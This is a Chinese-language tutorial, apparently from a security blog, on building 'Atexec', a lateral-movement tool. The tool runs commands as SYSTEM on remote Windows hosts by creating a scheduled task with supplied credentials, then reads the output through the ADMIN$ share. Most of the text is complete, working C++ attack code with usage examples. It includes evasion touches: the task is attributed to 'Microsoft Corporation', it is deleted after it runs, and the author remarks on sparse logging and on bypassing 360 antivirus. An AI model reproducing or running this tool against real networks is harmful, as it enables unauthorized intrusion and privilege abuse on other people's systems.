0x01 Atexec,一种横向方式
Atexec是一个除了Psexec以外,被高频使用的横向方式,该技术手段主要通过任务计划实现,与时间有关。
Atexec的主要特点是通过135端口进行任务计划任务的创建,同时通过445端口进行SMB认证,取回命令执行的结果。
0x02 执行过程
首先,我们用成品来进行一次命令执行:
执行完成,能够看到whoami的结果是SYSTEM权限,通过流量上分析:
首先,源主机192.168.164.1向目标主机192.168.164.140的135端口建立连接,由于是RPC协议,所以会进行一次端口随机的协商,于是源主机端口变成57523,目标主机源端口变成49154,这使得流量设备在数据传输上不能轻易的监控传输内容。
紧接着,源主机向目标主机进行SMB认证,完成文件的读取(命令执行结果),最终断开连接。
在操作系统的事件查看器中,(默认情况下)仅仅捕获了几条Windows认证的日志,关于服务、文件操作、应用程序等都没有相关日志。
0x03 实现过程
要实现一个Atexec并不难,首先需要梳理一下实现思路,第一步需要根据提供的凭证创建任务计划,然后程序等待任务计划完成后,获取任务计划的执行结果。
如何远程创建任务计划?
这里主要涉及到COM组件的操作,我用封装函数的方式来实现使得程序可读性变高。
使用凭证连接远程主机的任务计划接口:
BOOL ConnectTaskServer(LPCWSTR lpwsHost, LPCWSTR lpwDomain,LPCWSTR lpwsUserName, LPCWSTR lpwsPassword) {
// 初始化COM组件
hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
// 设置组件安全等级
hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
// 创建任务服务容器
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
// 连接目标服务器为远程连接或本地服务器
hr = pService->Connect(_variant_t(lpwsHost), _variant_t(lpwsUserName), _variant_t(lpwDomain), _variant_t(lpwsPassword)); //默认本地
if (FAILED(hr))
{
printf("ITaskService::Connect failed: %x \n", hr);
pService->Release();
CoUninitialize();
return FALSE;
}
return TRUE;
}
Task Scheduler提供了许多函数及接口来操作任务计划,但是凡是涉及COM组件的操作,都变得有些复杂,但至少实现Atexec涉及到的知识点并不多。
如何创建任务计划:
这里主要是利用COM对象的接口函数来创建触发器、设置触发时间、执行频次等。
BOOL CreatTask(LPCWSTR wTaskName, LPCWSTR wCommand, LPCWSTR wOutPutPath) {
std::wstring CurrentTime;
std::wstring CommandArgs(TEXT("/c "));
CommandArgs.append(wCommand);
CommandArgs.append(TEXT(" >"));
CommandArgs.append(wOutPutPath);
wstring wstrExePath(TEXT("C:\\Windows\\System32\\cmd.exe"));
// 获取任务文件夹并在其中创建任务
pService->GetFolder(_bstr_t(L"\\Microsoft\\Windows\\AppID"), &pRootFolder);
// 如果存在同名任务,删除它
pRootFolder->DeleteTask(_bstr_t(wTaskName), 0);
// 使用ITaskDefinition对象定义任务相关信息
ITaskDefinition* pTask = NULL;
pService->NewTask(0, &pTask);
// 使用IRegistrationInfo对象对任务的基础信息填充
IRegistrationInfo* pRegInfo = NULL;
pTask->get_RegistrationInfo(&pRegInfo);
pRegInfo->put_Author(_bstr_t(L"Microsoft Corporation"));
// 创建任务的安全凭证
IPrincipal* pPrincipal = NULL;
pTask->get_Principal(&pPrincipal);
// 设置规则为交互式登录
pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
// 指定执行用户
pPrincipal->put_UserId(_bstr_t(L"NT AUTHORITY\\SYSTEM"));
// 创建任务的设置信息
ITaskSettings* pTaskSettings = NULL;
pTask->get_Settings(&pTaskSettings);
// 为设置信息赋值
pTaskSettings->put_StartWhenAvailable(VARIANT_TRUE);
// 设置任务的idle设置
IIdleSettings* pIdleSettings = NULL;
pTaskSettings->get_IdleSettings(&pIdleSettings);
pIdleSettings->put_WaitTimeout(_bstr_t(L"PT1M"));
//创建触发器
ITriggerCollection* pTriggerCollection = NULL;
pTask->get_Triggers(&pTriggerCollection);
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_TIME, &pTrigger);
if (FAILED(hr))
{
printf("\nCannot create the trigger: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return FALSE;
}
// 设置时间触发器
ITimeTrigger* pTimeTrigger = NULL;
pTrigger->QueryInterface(IID_ITimeTrigger, (void**)&pTimeTrigger);
pTimeTrigger->put_Id(_bstr_t(L"Trigger2"));
CurrentTime = GetTime();
// 在10秒后执行
pTimeTrigger->put_StartBoundary(_bstr_t(CurrentTime.data()));
pTimeTrigger->put_EndBoundary(_bstr_t(L"2089-03-26T13:00:00"));
// 创建任务动作
IActionCollection* pActionCollection = NULL;
pTask->get_Actions(&pActionCollection);
IAction* pAction = NULL;
pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
IExecAction* pExecAction = NULL;
// 出入执行命令及参数
pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
pExecAction->put_Path(_bstr_t(wstrExePath.c_str()));
pExecAction->put_Arguments(_bstr_t(CommandArgs.data()));
IRegisteredTask* pRegistredTask = NULL;
pRootFolder->RegisterTaskDefinition(_bstr_t(wTaskName), pTask, TASK_CREATE_OR_UPDATE,
_variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(), &pRegistredTask);
Sleep(10 * 1000);
// 结束时删除任务
pRootFolder->DeleteTask(_bstr_t(wTaskName), 0);
pRootFolder->Release();
pService->Release();
CoUninitialize();
return TRUE;
}
// 获取未来10秒后的时间
std::wstring GetTime() {
WCHAR CurrentTime[100];
SYSTEMTIME sys;
GetLocalTime(&sys);
sys.wSecond += 10;
if (sys.wSecond >= 60) {
sys.wMinute++;
sys.wSecond -= 60;
}
wsprintf(CurrentTime, TEXT("%4d-%02d-%02dT%02d:%02d:%02d"), sys.wYear, sys.wMonth, sys.wDay, sys.wHour, sys.wMinute, sys.wSecond);
std::wstring returnTime(CurrentTime);
std::wcout << returnTime << std::endl;
return returnTime;
}
可以看到,这个函数中针对每个任务创建完成后,等待了大约10s来确保任务计划命令执行完毕,这就是我实现这个Atexec的一个缺点,其实还有更好的办法,就是每隔1s查询该任务计划的状态来确保任务计划执行。
如何获得执行结果?
这里我主要采用的是cmd /c command >
重定向到文件的方式,涉及到了SMB服务的连接、文件读取操作,这个和之前如何实现一个Psexec文中的内容有些相似。
DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUserName, LPCWSTR lpwsPassword)
{
// 用于存放SMB共享资源格式
PWCHAR lpwsIPC = new WCHAR[MAX_PATH];
DWORD dwRetVal; // 函数返回值
NETRESOURCE nr; // 连接的详细信息
DWORD dwFlags; // 连接选项
ZeroMemory(&nr, sizeof(NETRESOURCE));
swprintf(lpwsIPC, TEXT("\\\\%s\\admin$"), lpwsHost);
nr.dwType = RESOURCETYPE_ANY; // 枚举所有资源
nr.lpLocalName = NULL;
nr.lpRemoteName = lpwsIPC; // 资源的网络名
nr.lpProvider = NULL;
// 如果设置了此位标志,则操作系统将在用户登录时自动尝试恢复连接。
dwFlags = CONNECT_UPDATE_PROFILE;
dwRetVal = WNetAddConnection2(&nr, lpwsPassword, lpwsUserName, dwFlags);
if (dwRetVal == NO_ERROR) {
// 返回NO_ERROR则成功
// wprintf(L"Connection added to %s\n", nr.lpRemoteName);
return dwRetVal;
}
wprintf(L"WNetAddConnection2 failed with error: %u\n", dwRetVal);
return -1;
}
BOOL GetSMBServerFileContent(LPCWSTR lpwsDstPath) {
DWORD dwFileSize = 0;
PCHAR readBuf = NULL;
DWORD dwReaded = 0;
BOOL bRet = TRUE;
HANDLE hFile = CreateFile(lpwsDstPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
wprintf(TEXT("Can't Read File : %s \n"), lpwsDstPath);
return FALSE;
}
// 获取文件大小
dwFileSize = GetFileSize(hFile, NULL);
readBuf = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);
ReadFile(hFile, readBuf, dwFileSize, &dwReaded, NULL);
wprintf(TEXT("===========================\n"));
printf("%s", readBuf);
CloseHandle(hFile);
HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, readBuf);
wprintf(TEXT("\n===========================\n"));
return TRUE;
}
这里默认主要是将命令执行结果写入了ADMIN$共享目录下,当然还可以更改为其他的。
0x04 Atexec完整代码
#define _WIN32_DCOM
#define _CRT_SECURE_NO_WARNINGS // 忽略老版本函数所提示的安全问题
#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <comdef.h>
#include <string>
#include <time.h>
#include <taskschd.h>
#include <winnetwk.h>
#pragma comment(lib,"taskschd.lib")
#pragma comment(lib,"comsupp.lib")
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "Mpr.lib")
#pragma comment(lib,"Advapi32.lib")
using namespace std;
ITaskService* pService = NULL;
ITaskFolder* pRootFolder = NULL;
HRESULT hr = NULL;
BOOL ConnectTaskServer(LPCWSTR lpwsHost, LPCWSTR lpwDomain,LPCWSTR lpwsUserName, LPCWSTR lpwsPassword) {
// 初始化COM组件
hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
// 设置组件安全等级
hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
// 创建任务服务容器
hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
// 连接目标服务器为远程连接或本地服务器
hr = pService->Connect(_variant_t(lpwsHost), _variant_t(lpwsUserName), _variant_t(lpwDomain), _variant_t(lpwsPassword)); //默认本地
if (FAILED(hr))
{
printf("ITaskService::Connect failed: %x \n", hr);
pService->Release();
CoUninitialize();
return FALSE;
}
return TRUE;
}
DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUserName, LPCWSTR lpwsPassword)
{
// 用于存放SMB共享资源格式
PWCHAR lpwsIPC = new WCHAR[MAX_PATH];
DWORD dwRetVal; // 函数返回值
NETRESOURCE nr; // 连接的详细信息
DWORD dwFlags; // 连接选项
ZeroMemory(&nr, sizeof(NETRESOURCE));
swprintf(lpwsIPC, TEXT("\\\\%s\\admin$"), lpwsHost);
nr.dwType = RESOURCETYPE_ANY; // 枚举所有资源
nr.lpLocalName = NULL;
nr.lpRemoteName = lpwsIPC; // 资源的网络名
nr.lpProvider = NULL;
// 如果设置了此位标志,则操作系统将在用户登录时自动尝试恢复连接。
dwFlags = CONNECT_UPDATE_PROFILE;
dwRetVal = WNetAddConnection2(&nr, lpwsPassword, lpwsUserName, dwFlags);
if (dwRetVal == NO_ERROR) {
// 返回NO_ERROR则成功
// wprintf(L"Connection added to %s\n", nr.lpRemoteName);
return dwRetVal;
}
wprintf(L"WNetAddConnection2 failed with error: %u\n", dwRetVal);
return -1;
}
BOOL GetSMBServerFileContent(LPCWSTR lpwsDstPath) {
DWORD dwFileSize = 0;
PCHAR readBuf = NULL;
DWORD dwReaded = 0;
BOOL bRet = TRUE;
HANDLE hFile = CreateFile(lpwsDstPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
wprintf(TEXT("Can't Read File : %s \n"), lpwsDstPath);
return FALSE;
}
// 获取文件大小
dwFileSize = GetFileSize(hFile, NULL);
readBuf = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);
ReadFile(hFile, readBuf, dwFileSize, &dwReaded, NULL);
wprintf(TEXT("===========================\n"));
printf("%s", readBuf);
CloseHandle(hFile);
HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, readBuf);
wprintf(TEXT("\n===========================\n"));
return TRUE;
}
// 获取未来10秒后的时间
std::wstring GetTime() {
WCHAR CurrentTime[100];
SYSTEMTIME sys;
GetLocalTime(&sys);
sys.wSecond += 10;
if (sys.wSecond >= 60) {
sys.wMinute++;
sys.wSecond -= 60;
}
wsprintf(CurrentTime, TEXT("%4d-%02d-%02dT%02d:%02d:%02d"), sys.wYear, sys.wMonth, sys.wDay, sys.wHour, sys.wMinute, sys.wSecond);
std::wstring returnTime(CurrentTime);
std::wcout << returnTime << std::endl;
return returnTime;
}
BOOL CreatTask(LPCWSTR wTaskName, LPCWSTR wCommand, LPCWSTR wOutPutPath) {
std::wstring CurrentTime;
std::wstring CommandArgs(TEXT("/c "));
CommandArgs.append(wCommand);
CommandArgs.append(TEXT(" >"));
CommandArgs.append(wOutPutPath);
wstring wstrExePath(TEXT("C:\\Windows\\System32\\cmd.exe"));
// 获取任务文件夹并在其中创建任务
pService->GetFolder(_bstr_t(L"\\Microsoft\\Windows\\AppID"), &pRootFolder);
// 如果存在同名任务,删除它
pRootFolder->DeleteTask(_bstr_t(wTaskName), 0);
// 使用ITaskDefinition对象定义任务相关信息
ITaskDefinition* pTask = NULL;
pService->NewTask(0, &pTask);
// 使用IRegistrationInfo对象对任务的基础信息填充
IRegistrationInfo* pRegInfo = NULL;
pTask->get_RegistrationInfo(&pRegInfo);
pRegInfo->put_Author(_bstr_t(L"Microsoft Corporation"));
// 创建任务的安全凭证
IPrincipal* pPrincipal = NULL;
pTask->get_Principal(&pPrincipal);
// 设置规则为交互式登录
pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
pPrincipal->put_UserId(_bstr_t(L"NT AUTHORITY\\SYSTEM"));
// 创建任务的设置信息
ITaskSettings* pTaskSettings = NULL;
pTask->get_Settings(&pTaskSettings);
// 为设置信息赋值
pTaskSettings->put_StartWhenAvailable(VARIANT_TRUE);
// 设置任务的idle设置
IIdleSettings* pIdleSettings = NULL;
pTaskSettings->get_IdleSettings(&pIdleSettings);
pIdleSettings->put_WaitTimeout(_bstr_t(L"PT1M"));
//创建触发器
ITriggerCollection* pTriggerCollection = NULL;
pTask->get_Triggers(&pTriggerCollection);
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_TIME, &pTrigger);
if (FAILED(hr))
{
printf("\nCannot create the trigger: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return FALSE;
}
// 设置时间触发器
ITimeTrigger* pTimeTrigger = NULL;
pTrigger->QueryInterface(IID_ITimeTrigger, (void**)&pTimeTrigger);
pTimeTrigger->put_Id(_bstr_t(L"Trigger2"));
CurrentTime = GetTime();
// 在10秒后执行
pTimeTrigger->put_StartBoundary(_bstr_t(CurrentTime.data()));
pTimeTrigger->put_EndBoundary(_bstr_t(L"2089-03-26T13:00:00"));
// 创建任务动作
IActionCollection* pActionCollection = NULL;
pTask->get_Actions(&pActionCollection);
IAction* pAction = NULL;
pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
IExecAction* pExecAction = NULL;
// 出入执行命令及参数
pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
pExecAction->put_Path(_bstr_t(wstrExePath.c_str()));
pExecAction->put_Arguments(_bstr_t(CommandArgs.data()));
IRegisteredTask* pRegistredTask = NULL;
pRootFolder->RegisterTaskDefinition(_bstr_t(wTaskName), pTask, TASK_CREATE_OR_UPDATE,
_variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(), &pRegistredTask);
Sleep(10 * 1000);
// 结束时删除任务
pRootFolder->DeleteTask(_bstr_t(wTaskName), 0);
pRootFolder->Release();
pService->Release();
CoUninitialize();
return TRUE;
}
int _cdecl wmain(int argc, wchar_t* argv[]) {
BOOL bRetVal = FALSE;
WCHAR wsTaskName[] = TEXT("TestBody");
LPCWSTR lpwDomain = NULL;
if (argc < 5) {
wprintf(TEXT("atexec.exe <Host> <Username> <Password> <Command> [Domain] \n"));
wprintf(TEXT("Usage: \n"));
wprintf(TEXT("atexec.exe 192.168.3.130 Administrator 123456 whoami SYS.LOCAL\n"));
wprintf(TEXT("atexec.exe 192.168.3.130 Administrator 123456 whoami\n"));
return 0;
}
if (argc == 6) {
lpwDomain = argv[5]; // 域名
}
LPCWSTR wsCommand = argv[4]; // 执行命令
LPCWSTR lpwsHost = argv[1]; // 目标机器地址
LPCWSTR lpwsUserName = argv[2]; // 账号
LPCWSTR lpwsPassword = argv[3]; // 密码
std::wstring wsHostFile;
WCHAR wsOutPutPath[] = TEXT("C:\\Windows\\RunTime.log");
wsHostFile.append(TEXT("\\\\"));
wsHostFile.append(lpwsHost);
wsHostFile.append(TEXT("\\admin$\\RunTime.log"));
// 连接任务计划
bRetVal = ConnectTaskServer(lpwsHost, NULL, lpwsUserName, lpwsPassword);
if (!bRetVal) {
return -1;
}
bRetVal = CreatTask(wsTaskName, wsCommand, wsOutPutPath);
if (!bRetVal) {
return -1;
}
// 连接目标服务器SMB
if (ConnectSMBServer(lpwsHost, lpwsUserName, lpwsPassword) == 0) {
// 连接成功
GetSMBServerFileContent(wsHostFile.data());
}
else {
std::wcout << TEXT("Can't Connect to ") << lpwsHost << std::endl;
}
return 0;
}
0x05 其他Atexec
impacket-atexec.py 是基于impacket库实现了MS-TSCH协议(只走445端口)来进行横向的脚本。
在我测试的过程中,Windows Server 2008上安装了360安全卫士后,横向无法取回结果,关闭360安全卫士后,成功执行,但我自己写的atexec就能够在360安全卫士开启的状态下完成命令执行、命令结果取回。